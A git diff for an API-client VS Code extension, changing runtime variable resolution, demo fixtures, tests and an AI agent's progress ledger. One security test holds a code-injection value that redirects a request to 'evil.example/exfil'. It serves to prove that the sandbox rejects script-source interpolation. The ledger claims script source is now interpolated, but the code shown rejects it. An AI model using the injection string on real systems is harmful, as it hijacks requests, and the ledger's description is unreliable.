diff --git a/docs/open-collection-gap-analysis/AGENT_PROGRESS.md b/docs/open-collection-gap-analysis/AGENT_PROGRESS.md
index 2dd2005..6dd7a39 100644
--- a/docs/open-collection-gap-analysis/AGENT_PROGRESS.md
+++ b/docs/open-collection-gap-analysis/AGENT_PROGRESS.md
@@ -65,7 +65,7 @@ Use full branch names for stacking existing branches with `but move <child-branc
 | OC-050 | Auth, proxy, mTLS, transport completion | Done | Codex | feature/oc-050-auth-transport (ut), stacked on feature/oc-100-request-type-ux; implementation commit `93c1d0d`; schema round-trip dependency commits `4cfa36b` and `3a5f2b7` on feature/oc-060-schema-roundtrip-validation | Satisfied by `test/httpClient.test.ts` and `test/grpcSupport.test.ts`: API-key query auth and export parity, OAuth2 token header/query placement and additional token params, redirect follow/max handling, proxy auth and bypass, collection client certificates for mTLS success/failure, HTTP/WebSocket/gRPC unsupported-auth diagnostics, dry-run inherited headers/query params, and local AuthTransport demo fixtures. | `npx vitest run test/httpClient.test.ts` passed 19 tests; `npx vitest run test/grpcSupport.test.ts` passed 14 tests; `npm run compile` passed; `node scripts/validate-collection.js examples/demo-api` passed 42/42 files; `npm test` passed 21 files/406 tests; `npm run build` passed; live demo smoke passed API-key query, OAuth token/query placement, redirects, proxy auth, and mTLS. | 2026-06-15 00:27 NZT | OC-050 complete. Remaining unassigned IDs after the implementation commit are parallel OC-090/OC-100/shared polish, not OC-050-owned runtime work. |
 | OC-060 | Schema round-trip and validation | Done | Codex | feature/oc-060-schema-roundtrip-validation (sc), stacked on feature/oc-000-foundation-dispatch (fo); implementation commit `166c297` | Add golden no-op editor/serializer round-trip tests for schema-valid HTTP, GraphQL, WebSocket, gRPC, folder, environment, and collection fixtures; add validation tests proving protocol-aware request subschema selection, workspace validation in collection reports, protocol-labelled diagnostics, unknown-field preservation, and non-HTTP files not gaining `http` keys. Run targeted validation/editor/service tests plus existing touched HTTP/import-export/editor regressions. | `npx vitest run test/schemaRoundTrip.test.ts test/validationService.test.ts` passed (8 tests); `npm test` passed (15 files, 341 tests); `npm run compile` passed; `npm run build` passed. | 2026-06-14 22:30 NZT | OC-060 complete and committed; no OC-060-owned unassigned changes remain after implementation commit. |
 | OC-070 | Request creation, import/export, snippet, and Copilot surface polish | Done | Codex | feature/oc-070-surface-polish (rf); implementation commit `f9a5a55`; former shared-file staged set `opx`/`ku` was cleared by supervisor hunk-level GitButler absorb into owning dependency commits `0742dbc`, `395ddf0`, `8c236b4`, and `251408f`; final supervisor acceptance recorded on `supervisor/final-opencollection-review` | Reuse OC-100 protocol templates; add/extend automated tests for protocol-specific request creation regressions, tree/CodeLens/command protocol identity, import/export unsupported diagnostics, HTTP snippet parity plus explicit non-HTTP snippet diagnostics, Copilot get/list/dry-run/send protocol preservation and redaction, and shared round-trip/validation regressions. | Final review found no blocking issues. `npm run compile` passed; final targeted `npx vitest run test/oc070SurfacePolish.test.ts test/requestTypeUx.test.ts test/runtimeAuthoringUx.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts test/postmanImporter.test.ts test/openApiImporter.test.ts test/snippetExporter.test.ts test/openCollectionFoundation.test.ts test/graphqlSupport.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/httpClient.test.ts test/runtimeExecutionService.test.ts` passed 16 files/203 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed; live fixture smoke passed HTTP health, GraphQL, runtime echo, WebSocket echo, and gRPC unary/server-streaming; `npx @vscode/vsce package --out $env:TEMP\missio-0.7.7-final-opencollection.vsix` passed; `code.cmd --install-extension $env:TEMP\missio-0.7.7-final-opencollection.vsix --force` installed `missio.missio@0.7.7`. | 2026-06-15 10:03 NZT | Accepted; no remaining OC-070 work. |
-| OC-080 | Runtime lifecycle for WebSocket and unary gRPC | Done | Codex | supervisor/add-runtime-authoring-ux-task (ho); implementation commit `ea7383b`; completion/ledger commit `251408f`; supervisor cleanup commit `878063b`; supervisor review ledger is the top `ho` commit | Satisfied by `test/webSocketSupport.test.ts`, `test/grpcSupport.test.ts`, `test/sendRequestTool.test.ts`, and `test/responseProvider.test.ts`: WebSocket and unary gRPC before/after runtime lifecycle order, before-script header/metadata/body mutation, after-response scripts/tests/assertions/actions, runtime variable mutation, sandbox-denial security diagnostics, failure-path response preservation, cancellation/cleanup, response provider rendering, Copilot tool output, and schema-valid local demo WebSocket/gRPC runtime fixtures. | `npx vitest run test/webSocketSupport.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts` passed 4 files/50 tests; `npm run compile` passed; `node scripts/validate-collection.js examples/demo-api` passed 44/44 files; live local WebSocket/gRPC runtime smoke passed with `LIVE_WS_RUNTIME_SMOKE ok` and `LIVE_GRPC_RUNTIME_SMOKE ok`; `npm test` passed 22 files/428 tests; `npm run build` passed; VSIX packaged and installed as `missio.missio@0.7.7`. | 2026-06-15 01:42 NZT | Supervisor review found no blocking OC-080 issues; GitButler `zz` is clean and the extension is installed from the reviewed stack. |
+| OC-080 | Runtime lifecycle for WebSocket and unary gRPC | Done | Codex | supervisor/add-runtime-authoring-ux-task (ho); implementation commit `ea7383b`; completion/ledger commit `251408f`; supervisor cleanup commit `878063b`; regression branch `feature/runtime-script-variable-evaluation` (bl) has commits `429a563` and `17bde32` | Satisfied by `test/webSocketSupport.test.ts`, `test/grpcSupport.test.ts`, `test/sendRequestTool.test.ts`, `test/responseProvider.test.ts`, and `test/runtimeExecutionService.test.ts`: WebSocket and unary gRPC before/after runtime lifecycle order, before-script header/metadata/body mutation, before-request script-source `{{variable}}` interpolation from environment/request runtime variables and earlier script mutations, after-response scripts/tests/assertions/actions, runtime variable mutation, sandbox-denial security diagnostics, failure-path response preservation, cancellation/cleanup, response provider rendering, Copilot tool output, and schema-valid local demo WebSocket/gRPC runtime fixtures. | Original OC-080 review passed `npx vitest run test/webSocketSupport.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts` 4 files/50 tests, `npm run compile`, demo validation, live WebSocket/gRPC runtime smoke, `npm test`, `npm run build`, and VSIX install. Regression follow-up reproduced 6 failing runtime interpolation cases before the fix, then passed `npx.cmd vitest run test/runtimeExecutionService.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` 3 files/55 tests, `npx.cmd vitest run test/sendRequestTool.test.ts test/responseProvider.test.ts` 2 files/13 tests, `node scripts/validate-collection.js examples/demo-api` 47/47 files, `npm.cmd run compile`, `npm.cmd test` 25 files/467 tests, and `npm.cmd run build` with approved escalation after sandbox media-write denial. | 2026-06-15 14:59 NZT | OC-080 runtime lifecycle and script-source variable interpolation are complete and committed. Current `zz` only contains unrelated generated PDF asset churn `qp`/`ko`, preserved for its owner. |
 | OC-090 | gRPC streaming | Done | Codex | feature/oc-090-grpc-streaming (am), stacked on applied OC-030 unary/protobuf work; implementation commits `84cf254` and `c462d51` | Implemented method-type-aware unary, server-streaming, client-streaming, and bidirectional-streaming gRPC execution with schema-native ordered message sequences, proto method-type validation, cancellation cleanup, partial stream error retention, response stream summaries, local demo streaming proto/server/routes, and regression tests for unary dispatch, validation, round-trip safety, failure paths, and cleanup. | `npm run compile` passed; `npx vitest run test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/responseProvider.test.ts test/sendRequestTool.test.ts` passed 5 files/33 tests; `node scripts\validate-collection.js examples\demo-api` passed 42/42 files; `npm test` passed 21 files/405 tests; `npm run build` passed. Live hidden `node examples/demo-api/grpc-server.js` smoke verified server/client/bidi/error streams. | 2026-06-15 00:21 NZT | OC-090 complete in the verified worktree. Preserve remaining unassigned parallel/change-routing IDs called out in the OC-090 log; do not commit them to unrelated branches. |
 | OC-100 | Request type UX | Done | Codex | feature/oc-100-request-type-ux (g0 after restack), stacked on supervisor/add-request-type-ux-task; implementation commit `5cb05a3` | Satisfied by `test/requestTypeUx.test.ts`: schema-valid HTTP/GraphQL/WebSocket/gRPC starter templates, actual `missio.newRequest` protocol picker/write/open flow, YAML and editor-model round-trip safety, no stale protocol roots, gRPC same-protocol editor guard, and read-only protocol chip shell. Shared regressions cover HTTP/GraphQL/WebSocket/gRPC editor, validation, command/tool, and protocol behavior. Switcher/conversion helpers are intentionally out of scope because the benchmarked tools emphasize protocol choice at creation and Postman locks saved request protocols. | `npx vitest run test/requestTypeUx.test.ts test/schemaRoundTrip.test.ts test/openCollectionFoundation.test.ts test/validationService.test.ts` passed 4 files/25 tests; targeted protocol suite passed 8 files/68 tests; `npm run compile` passed; `npm test` passed 21 files/405 tests; `node scripts/validate-collection.js examples/demo-api` passed 42/42 files; `npm run build` passed. | 2026-06-15 00:15 NZT | OC-100 complete; no saved-request switcher was added by product decision and benchmark alignment. Remaining unassigned changes are parallel OC-050/OC-090 work, not OC-100. |
 | OC-110 | Runtime authoring UX | Done | Codex | feature/oc-110-runtime-authoring-ux (g0), stacked on supervisor/add-runtime-authoring-ux-task; implementation commit `fe0ad14`; supervisor follow-up commit `1e6db05`; supervisor acceptance recorded | Satisfied by `test/runtimeAuthoringUx.test.ts`, `test/runtimeExecutionService.test.ts`, `test/validationService.test.ts`, and shared schema/protocol regressions: visual editor can author supported runtime scripts/tests/assertions/actions, no longer offers non-executing `hooks` scripts or unsupported persisted scopes for new rows, preserves schema-valid existing `hooks`/persisted-scope YAML with diagnostics, and runtime actions diagnose unsupported scopes instead of silently writing runtime variables. | `npm run compile` passed; focused `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts test/validationService.test.ts test/schemaRoundTrip.test.ts test/requestTypeUx.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` passed 7 files/69 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed. | 2026-06-15 09:51 NZT | Supervisor review accepted OC-110 rework; no remaining blocking findings. |
@@ -474,6 +474,26 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
   Verified: `npm run compile` passed; targeted `npx vitest run test/webSocketSupport.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts` passed 4 files/50 tests; `node scripts/validate-collection.js examples/demo-api` passed 44/44 files; `npm test` passed 22 files/428 tests; `npm run build` passed; `npx @vscode/vsce package --out $env:TEMP\missio-0.7.7-oc080-supervisor.vsix` passed; `code.cmd --install-extension $env:TEMP\missio-0.7.7-oc080-supervisor.vsix --force` installed `missio.missio@0.7.7`.
   Next: OC-080 is safe to move forward; keep OC-110 as the separate runtime authoring UX follow-up.
 
+- 2026-06-15 14:43 NZT - Codex: Claimed an OC-080 runtime lifecycle regression audit for script-source `{{variable}}` evaluation before WebSocket and unary gRPC request mutation.
+  GitButler: `feature/runtime-script-variable-evaluation` (bl). `but status -fv` shows only unrelated generated PDF asset churn `qp`/`ko` in `zz`; preserve those and route only runtime lifecycle/test/demo/ledger changes.
+  Coverage: add failing coverage proving before-request script source can interpolate base environment variables, request runtime variables, and variables mutated by earlier scripts before setting WebSocket headers/body and gRPC metadata/message; keep unresolved placeholders literal for diagnostics; keep unsafe interpolated script execution inside the existing VM sandbox; re-run WebSocket/gRPC runtime lifecycle, runtime service, Copilot tool output, response provider, demo collection validation, compile, full suite, and build.
+  Changed: `docs/open-collection-gap-analysis/AGENT_PROGRESS.md`.
+  Verified: `but status -fv`, OC-080 task page, existing OC-080 tests, and demo WebSocket/gRPC runtime fixtures reviewed; implementation tests not run yet.
+  Next: add the regression tests, patch `RuntimeExecutionService` interpolation at script compile time, and update demo runtime fixtures to exercise the user-verifiable path.
+
+- 2026-06-15 14:52 NZT - Codex: Completed the OC-080 regression fix for runtime variable evaluation in script source before non-HTTP request mutation.
+  GitButler: owned unassigned IDs before commit are `s1`, `r1`, `j1`, `g2`, `k1`-`p1`, `w1`-`z1`, and `t1`-`v1` for `feature/runtime-script-variable-evaluation` (bl). Parallel/unrelated IDs `qp` and `ko` are existing generated PDF asset churn and were not touched for this slice.
+  Coverage: `RuntimeExecutionService` now recursively resolves request runtime variable values against base/extra variables, interpolates script source from the currently visible variable state before each VM compile, preserves unresolved placeholders, and keeps interpolated source inside the existing no-filesystem/no-process VM sandbox. WebSocket and unary gRPC lifecycle tests now prove earlier before-request script mutations can feed later script-source placeholders that mutate headers, metadata, and messages. Demo WebSocket/gRPC runtime requests now exercise the same user-verifiable path.
+  Changed: `src/services/runtimeExecutionService.ts`, `test/runtimeExecutionService.test.ts`, `test/webSocketSupport.test.ts`, `test/grpcSupport.test.ts`, `examples/demo-api/WebSocket/runtime-lifecycle.yml`, `examples/demo-api/gRPC/runtime-unary-lifecycle.yml`, `examples/demo-api/opencollection.yml`, and this ledger.
+  Verified: reproducing `npx.cmd vitest run test/runtimeExecutionService.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` failed before the implementation with 6 expected regression failures; after the fix it passed 3 files/55 tests and a final post-format rerun also passed 3 files/55 tests. `npx.cmd vitest run test/sendRequestTool.test.ts test/responseProvider.test.ts` passed 2 files/13 tests. `node scripts/validate-collection.js examples/demo-api` passed 47/47 files. `npm.cmd run compile` passed before the full run and again after the final formatting tweak. `npm.cmd test` passed 25 files/467 tests. `npm.cmd run build` first hit sandbox access denial writing generated media files, then passed with approved escalation.
+  Next: commit only the owned runtime lifecycle regression slice to `feature/runtime-script-variable-evaluation` and leave `qp`/`ko` uncommitted.
+
+- 2026-06-15 14:59 NZT - Codex: Committed the OC-080 runtime variable/script-source interpolation regression fix.
+  GitButler: `feature/runtime-script-variable-evaluation` (bl) is stacked on `feature/oc-140-websocket-lifecycle-ux`; implementation/demo/test/ledger commit is `429a563` (`Fix runtime script variable evaluation`). Earlier no-change commits `c61131d` and `05fa416` remain in the branch history from the pre-stack routing attempts.
+  Changed: ledger status only after `429a563`.
+  Verified: `but status -fv` after the implementation commit shows only unrelated generated PDF asset churn `qp`/`ko` in `zz`; no OC-080 runtime lifecycle changes remain unassigned.
+  Next: OC-080 regression follow-up is ready for review from `429a563`; preserve `qp`/`ko` for the PDF asset owner.
+
 ### OC-110 Runtime Authoring UX
 
 - 2026-06-15 09:15 NZT - Codex: Claimed OC-110 and recorded the coverage plan before implementation.
diff --git a/examples/demo-api/WebSocket/runtime-lifecycle.yml b/examples/demo-api/WebSocket/runtime-lifecycle.yml
index bbb2a13..94163b4 100644
--- a/examples/demo-api/WebSocket/runtime-lifecycle.yml
+++ b/examples/demo-api/WebSocket/runtime-lifecycle.yml
@@ -12,14 +12,19 @@ runtime:
     type: bearer
     token: "{{demoToken}}"
   variables:
+    - name: runtimeSocketUserName
+      value: "{{socketUser}} Runtime"
     - name: runtimeSocketCount
-      value: "7"
+      value: "{{runtimeSocketCountSeed}}"
   scripts:
     - type: before-request
       code: |-
-        missio.variables.set("runtimeSocketUser", "Ada Runtime");
+        missio.variables.set("runtimeSocketUser", missio.variables.get("runtimeSocketUserName"));
+    - type: before-request
+      code: |-
+        const socketMessageId = missio.variables.get("socketMessageId");
         missio.request.headers.set("X-Demo-Client", "missio-demo");
-        missio.request.headers.set("X-Runtime-Header", "scripted-websocket");
+        missio.request.headers.set("X-Runtime-Header", `scripted-${socketMessageId}`);
         missio.request.body = {
           user: missio.variables.get("runtimeSocketUser"),
           count: Number(missio.variables.get("runtimeSocketCount"))
diff --git a/examples/demo-api/gRPC/runtime-unary-lifecycle.yml b/examples/demo-api/gRPC/runtime-unary-lifecycle.yml
index 4bd2950..9627637 100644
--- a/examples/demo-api/gRPC/runtime-unary-lifecycle.yml
+++ b/examples/demo-api/gRPC/runtime-unary-lifecycle.yml
@@ -25,14 +25,19 @@ runtime:
     type: bearer
     token: "{{grpcToken}}"
   variables:
+    - name: grpcRuntimeNameSeed
+      value: "{{grpcName}} Runtime"
     - name: grpcRuntimeUserId
       value: "77"
   scripts:
     - type: before-request
       code: |-
-        missio.variables.set("grpcRuntimeName", "Runtime Ada");
-        missio.variables.set("grpcRuntimeTrace", "runtime-" + missio.variables.get("grpcRequestId"));
-        missio.request.metadata.set("x-demo-request", "script-" + missio.variables.get("grpcRequestId"));
+        missio.variables.set("grpcRuntimeName", missio.variables.get("grpcRuntimeNameSeed"));
+    - type: before-request
+      code: |-
+        const grpcRequestId = missio.variables.get("grpcRequestId");
+        missio.variables.set("grpcRuntimeTrace", `runtime-${grpcRequestId}`);
+        missio.request.metadata.set("x-demo-request", `script-${grpcRequestId}`);
         missio.request.body = {
           name: missio.variables.get("grpcRuntimeName"),
           userId: Number(missio.variables.get("grpcRuntimeUserId")),
@@ -43,11 +48,11 @@ runtime:
         console.info("runtime grpc request", response.json().requestId);
     - type: tests
       code: |-
-        test("runtime grpc message echoed", () => assert(response.json().name === "Runtime Ada"));
+        test("runtime grpc message echoed", () => assert(response.json().name === "Ada Runtime"));
   assertions:
     - expression: res.body.name
       operator: equals
-      value: Runtime Ada
+      value: Ada Runtime
     - expression: res.body.userId
       operator: equals
       value: "77"
diff --git a/examples/demo-api/opencollection.yml b/examples/demo-api/opencollection.yml
index 854e6d5..bd75d01 100644
--- a/examples/demo-api/opencollection.yml
+++ b/examples/demo-api/opencollection.yml
@@ -52,6 +52,8 @@ config:
           value: Ada
         - name: socketMessageId
           value: ws-demo-001
+        - name: runtimeSocketCountSeed
+          value: "7"
         - name: demoToken
           value: demo-token
       color: charts.blue
diff --git a/src/services/requestExecutionService.ts b/src/services/requestExecutionService.ts
index a222a1a..4c001e9 100644
--- a/src/services/requestExecutionService.ts
+++ b/src/services/requestExecutionService.ts
@@ -120,7 +120,13 @@ export class RequestExecutionService {
     options?: { includeAuth?: boolean; includeBody?: boolean },
   ): Promise<ResolvedRequest> {
     if (isHttpRequest(request)) {
-      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(request, extraVariables);
+      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(
+        request,
+        collection,
+        folderDefaults,
+        extraVariables,
+        environmentName,
+      );
       return this._httpClient.buildResolvedRequest(
         request,
         collection,
@@ -133,7 +139,13 @@ export class RequestExecutionService {
     }
     if (isGraphQLRequest(request)) {
       const httpRequest = buildGraphQLHttpRequest(request);
-      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(httpRequest, extraVariables);
+      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(
+        httpRequest,
+        collection,
+        folderDefaults,
+        extraVariables,
+        environmentName,
+      );
       return this._httpClient.buildResolvedRequest(
         httpRequest,
         collection,
diff --git a/src/services/runtimeExecutionService.ts b/src/services/runtimeExecutionService.ts
index 13177cb..62aef79 100644
--- a/src/services/runtimeExecutionService.ts
+++ b/src/services/runtimeExecutionService.ts
@@ -1,4 +1,5 @@
 import * as vm from 'vm';
+import { randomUUID } from 'crypto';
 import type {
   Action,
   ActionPhase,
@@ -30,6 +31,7 @@ import type {
   WebSocketMessageVariant,
   WebSocketRequest,
 } from '../models/types';
+import { varPatternGlobal } from '../models/varPattern';
 
 export type RuntimeVariableResolver = (
   collection: MissioCollection,
@@ -98,9 +100,19 @@ export class RuntimeExecutionService {
 
   async buildRequestVariableOverrides(
     request: RuntimeCapableRequest,
+    collection: MissioCollection,
+    folderDefaults?: RequestDefaults,
     extraVariables?: Map<string, string>,
+    environmentName?: string,
   ): Promise<Map<string, string> | undefined> {
-    const requestVariables = variablesToMap(runtimeConfig(request)?.variables);
+    const baseVariables = this._variableResolver
+      ? await this._variableResolver(collection, folderDefaults, environmentName)
+      : new Map<string, string>();
+    const requestVariables = resolveVariableMapValues(
+      variablesToMap(runtimeConfig(request)?.variables),
+      baseVariables,
+      extraVariables,
+    );
     if (requestVariables.size === 0 && (!extraVariables || extraVariables.size === 0)) {
       return undefined;
     }
@@ -175,9 +187,14 @@ export class RuntimeExecutionService {
     const baseVariables = this._variableResolver
       ? await this._variableResolver(collection, folderDefaults, environmentName)
       : new Map<string, string>();
+    const requestVariables = resolveVariableMapValues(
+      variablesToMap(runtime?.variables),
+      baseVariables,
+      extraVariables,
+    );
     const variables: RuntimeVariableScopes = {
       base: new Map(baseVariables),
-      request: variablesToMap(runtime?.variables),
+      request: requestVariables,
       runtime: new Map(extraVariables),
     };
     const state: RuntimeState = { request: clonedRequest, variables, result };
@@ -244,14 +261,21 @@ export class RuntimeExecutionService {
   }
 
   private _runScript(state: RuntimeState, script: Script, phase: RuntimePhase): void {
+    const templateNames = [...new Set(
+      [...script.code.matchAll(varPatternGlobal())].map(match => match[1].trim()),
+    )].sort();
+    if (templateNames.length > 0) {
+      throw new Error(
+        `Runtime script source interpolation is not supported (${templateNames.map(name => `{{${name}}}`).join(', ')}). `
+        + 'Read variables as data with missio.variables.get("name").',
+      );
+    }
     const sandbox = this._createSandbox(state, phase);
     const context = vm.createContext(sandbox, {
       name: 'missio-runtime',
       codeGeneration: { strings: false, wasm: false },
     });
-    const compiled = new vm.Script(script.code, {
-      filename: `missio-${script.type}.js`,
-    });
+    const compiled = new vm.Script(script.code, { filename: `missio-${script.type}.js` });
     compiled.runInContext(context, { timeout: 1000, displayErrors: true });
   }
 
@@ -483,6 +507,76 @@ function variablesToMap(variables: Variable[] | undefined): Map<string, string>
   return map;
 }
 
+function resolveVariableMapValues(
+  variables: Map<string, string>,
+  baseVariables: Map<string, string>,
+  extraVariables?: Map<string, string>,
+): Map<string, string> {
+  const resolved = new Map(variables);
+  const maxPasses = Math.max(1, variables.size + 1);
+  for (let pass = 0; pass < maxPasses; pass++) {
+    let changed = false;
+    const visible = new Map(baseVariables);
+    mergeInto(visible, resolved);
+    if (extraVariables) mergeInto(visible, extraVariables);
+
+    for (const [key, value] of resolved) {
+      const next = value.replace(varPatternGlobal(), (match, name) => {
+        const ref = String(name).trim();
+        const builtin = resolveRuntimeBuiltin(ref);
+        if (builtin !== undefined) return builtin;
+        if (ref === key) {
+          if (extraVariables?.has(ref)) return extraVariables.get(ref)!;
+          if (baseVariables.has(ref)) return baseVariables.get(ref)!;
+          return match;
+        }
+        return visible.has(ref) ? visible.get(ref)! : match;
+      });
+      if (next !== value) {
+        resolved.set(key, next);
+        changed = true;
+      }
+    }
+
+    if (!changed) break;
+  }
+  const cyclicNames = new Set<string>();
+  for (const [key, value] of resolved) {
+    const re = varPatternGlobal();
+    let match: RegExpExecArray | null;
+    while ((match = re.exec(value)) !== null) {
+      const ref = match[1].trim();
+      if (variables.has(ref)) {
+        cyclicNames.add(key);
+        cyclicNames.add(ref);
+      }
+    }
+  }
+  if (cyclicNames.size > 0) {
+    throw new Error(`Cyclic runtime variable reference: ${[...cyclicNames].sort().join(', ')}`);
+  }
+  return resolved;
+}
+
+function interpolateRuntimeTemplate(template: string, variables: Map<string, string>): string {
+  return template.replace(varPatternGlobal(), (match, name) => {
+    const key = String(name).trim();
+    const builtin = resolveRuntimeBuiltin(key);
+    if (builtin !== undefined) return builtin;
+    return variables.has(key) ? variables.get(key)! : match;
+  });
+}
+
+function resolveRuntimeBuiltin(name: string): string | undefined {
+  // Resolve each textual occurrence independently to match Postman dynamic-variable semantics.
+  switch (name) {
+    case '$guid': return randomUUID();
+    case '$timestamp': return String(Math.floor(Date.now() / 1000));
+    case '$randomInt': return String(Math.floor(Math.random() * 1001));
+    default: return undefined;
+  }
+}
+
 function resolveVariableValue(value: Variable['value']): string | undefined {
   if (value === undefined || value === null) return undefined;
   if (typeof value === 'string') return value;
@@ -931,7 +1025,8 @@ function buildVisibleVariables(variables: RuntimeVariableScopes): Map<string, st
 }
 
 function getVariable(state: RuntimeState, name: string): string | undefined {
-  return buildVisibleVariables(state.variables).get(String(name));
+  const key = String(name);
+  return resolveRuntimeBuiltin(key) ?? buildVisibleVariables(state.variables).get(key);
 }
 
 function setRuntimeVariable(
diff --git a/test/grpcSupport.test.ts b/test/grpcSupport.test.ts
index b77dab6..da34805 100644
--- a/test/grpcSupport.test.ts
+++ b/test/grpcSupport.test.ts
@@ -356,6 +356,8 @@ describe('gRPC execution', () => {
     const collection = makeCollection();
     const localEnv = collection.data.config?.environments?.find(env => env.name === 'LOCAL');
     localEnv?.variables?.push({ name: 'grpcBaseUrl', value: address });
+    localEnv?.variables?.push({ name: 'grpcRuntimeNameSeed', value: 'Runtime Ada' });
+    localEnv?.variables?.push({ name: 'grpcRuntimeUserIdSeed', value: '77' });
     await environmentService.setActiveEnvironment(collection.id, 'LOCAL');
     const grpcClient = new GrpcClient(environmentService);
     const runtime = new RuntimeExecutionService((runtimeCollection, folderDefaults, environmentName) =>
@@ -375,14 +377,21 @@ describe('gRPC execution', () => {
       },
       runtime: {
         auth: { type: 'bearer' as const, token: '{{grpcToken}}' },
-        variables: [{ name: 'grpcRuntimeUserId', value: '77' }],
+        variables: [
+          { name: 'grpcRuntimeUserId', value: '{{grpcRuntimeUserIdSeed}}' },
+          { name: 'grpcRuntimeNameSeeded', value: '{{grpcRuntimeNameSeed}}' },
+        ],
         scripts: [
+          {
+            type: 'before-request' as const,
+            code: 'missio.variables.set("grpcRuntimeName", missio.variables.get("grpcRuntimeNameSeeded"));',
+          },
           {
             type: 'before-request' as const,
             code: [
-              'missio.variables.set("grpcRuntimeName", "Runtime Ada");',
-              'missio.variables.set("grpcRuntimeTrace", "runtime-" + missio.variables.get("grpcRequestId"));',
-              'missio.request.metadata.set("x-demo-request", "script-" + missio.variables.get("grpcRequestId"));',
+              'const grpcRequestId = missio.variables.get("grpcRequestId");',
+              'missio.variables.set("grpcRuntimeTrace", `runtime-${grpcRequestId}`);',
+              'missio.request.metadata.set("x-demo-request", `script-${grpcRequestId}`);',
               'missio.request.body = { name: missio.variables.get("grpcRuntimeName"), userId: Number(missio.variables.get("grpcRuntimeUserId")), trace: { requestId: missio.variables.get("grpcRuntimeTrace") } };',
             ].join('\n'),
           },
@@ -736,7 +745,7 @@ describe('gRPC integration surfaces', () => {
     const body = JSON.parse(response.body);
 
     expect(body).toMatchObject({
-      name: 'Runtime Ada',
+      name: 'Ada Runtime',
       userId: 77,
       requestMetadata: 'script-trace-123',
     });
diff --git a/test/runtimeExecutionService.test.ts b/test/runtimeExecutionService.test.ts
index 9e47001..a16164a 100644
--- a/test/runtimeExecutionService.test.ts
+++ b/test/runtimeExecutionService.test.ts
@@ -120,6 +120,77 @@ describe('RuntimeExecutionService lifecycle', () => {
     expect(response.runtime?.logs.map(log => log.message)).toEqual(['before base', 'after abc123']);
   });
 
+  it('evaluates runtime variable values and interpolates script source before execution', async () => {
+    const service = new RuntimeExecutionService(async () => new Map([
+      ['owner', 'Ada'],
+      ['headerSeed', 'scripted'],
+    ]));
+    const request: HttpRequest = {
+      http: {
+        method: 'POST',
+        url: 'http://127.0.0.1/runtime',
+      },
+      runtime: {
+        variables: [
+          { name: 'requestHeader', value: '{{headerSeed}}' },
+          { name: 'runtimeOwner', value: '{{owner}} Runtime' },
+          { name: 'combined', value: '{{runtimeOwner}}/{{requestHeader}}' },
+          { name: 'unresolved', value: '{{missingToken}}' },
+        ],
+        scripts: [
+          {
+            type: 'before-request',
+            code: [
+              'missio.request.setHeader("X-Combined", missio.variables.get("combined"));',
+              'missio.request.setHeader("X-Unresolved", missio.variables.get("unresolved"));',
+              'missio.variables.set("lateHeader", `late-${missio.variables.get("requestHeader")}`);',
+            ].join('\n'),
+          },
+          {
+            type: 'before-request',
+            code: 'missio.request.setHeader("X-Late", missio.variables.get("lateHeader"));',
+          },
+        ],
+      },
+    };
+
+    const prepared = await service.prepareHttpRequest(request, makeCollection());
+
+    expect(prepared.request.http?.headers?.find(header => header.name === 'X-Combined')?.value)
+      .toBe('Ada Runtime/scripted');
+    expect(prepared.request.http?.headers?.find(header => header.name === 'X-Late')?.value)
+      .toBe('late-scripted');
+    expect(prepared.request.http?.headers?.find(header => header.name === 'X-Unresolved')?.value)
+      .toBe('{{missingToken}}');
+    expect(prepared.extraVariables?.get('combined')).toBe('Ada Runtime/scripted');
+    expect(prepared.extraVariables?.get('unresolved')).toBe('{{missingToken}}');
+    expect(prepared.runtime.variableMutations).toEqual([
+      { scope: 'runtime', name: 'lateHeader', value: 'late-scripted', source: 'script' },
+    ]);
+  });
+
+  it('rejects script-source interpolation before variable data can become code', async () => {
+    const service = new RuntimeExecutionService(async () => new Map([
+      ['unsafeScript', 'x"); missio.request.url = "https://evil.example/exfil"; ("'],
+    ]));
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'http://127.0.0.1/runtime' },
+      runtime: {
+        scripts: [{ type: 'before-request', code: 'missio.request.setHeader("X-Value", "{{unsafeScript}}");' }],
+      },
+    };
+
+    await expect(service.prepareHttpRequest(request, makeCollection()))
+      .rejects.toBeInstanceOf(RuntimeExecutionError);
+
+    try {
+      await service.prepareHttpRequest(request, makeCollection());
+    } catch (error) {
+      expect((error as RuntimeExecutionError).runtime.errors[0].message).toMatch(/script source interpolation is not supported/i);
+      expect((error as RuntimeExecutionError).runtime.errors[0].message).toContain('missio.variables.get("name")');
+    }
+  });
+
   it('blocks filesystem and process access from before-request scripts', async () => {
     const service = new RuntimeExecutionService();
     const request: HttpRequest = {
diff --git a/test/runtimeScriptVariableSecurity.test.ts b/test/runtimeScriptVariableSecurity.test.ts
new file mode 100644
index 0000000..8aa31ae
--- /dev/null
+++ b/test/runtimeScriptVariableSecurity.test.ts
@@ -0,0 +1,114 @@
+import { describe, expect, it } from 'vitest';
+import type { HttpRequest, HttpResponse, MissioCollection } from '../src/models/types';
+import { RequestExecutionService } from '../src/services/requestExecutionService';
+import { RuntimeExecutionService } from '../src/services/runtimeExecutionService';
+
+function makeCollection(): MissioCollection {
+  return {
+    id: 'runtime-variable-security',
+    filePath: 'C:/runtime-variable-security/opencollection.yml',
+    rootDir: 'C:/runtime-variable-security',
+    data: {
+      opencollection: '1.0.0',
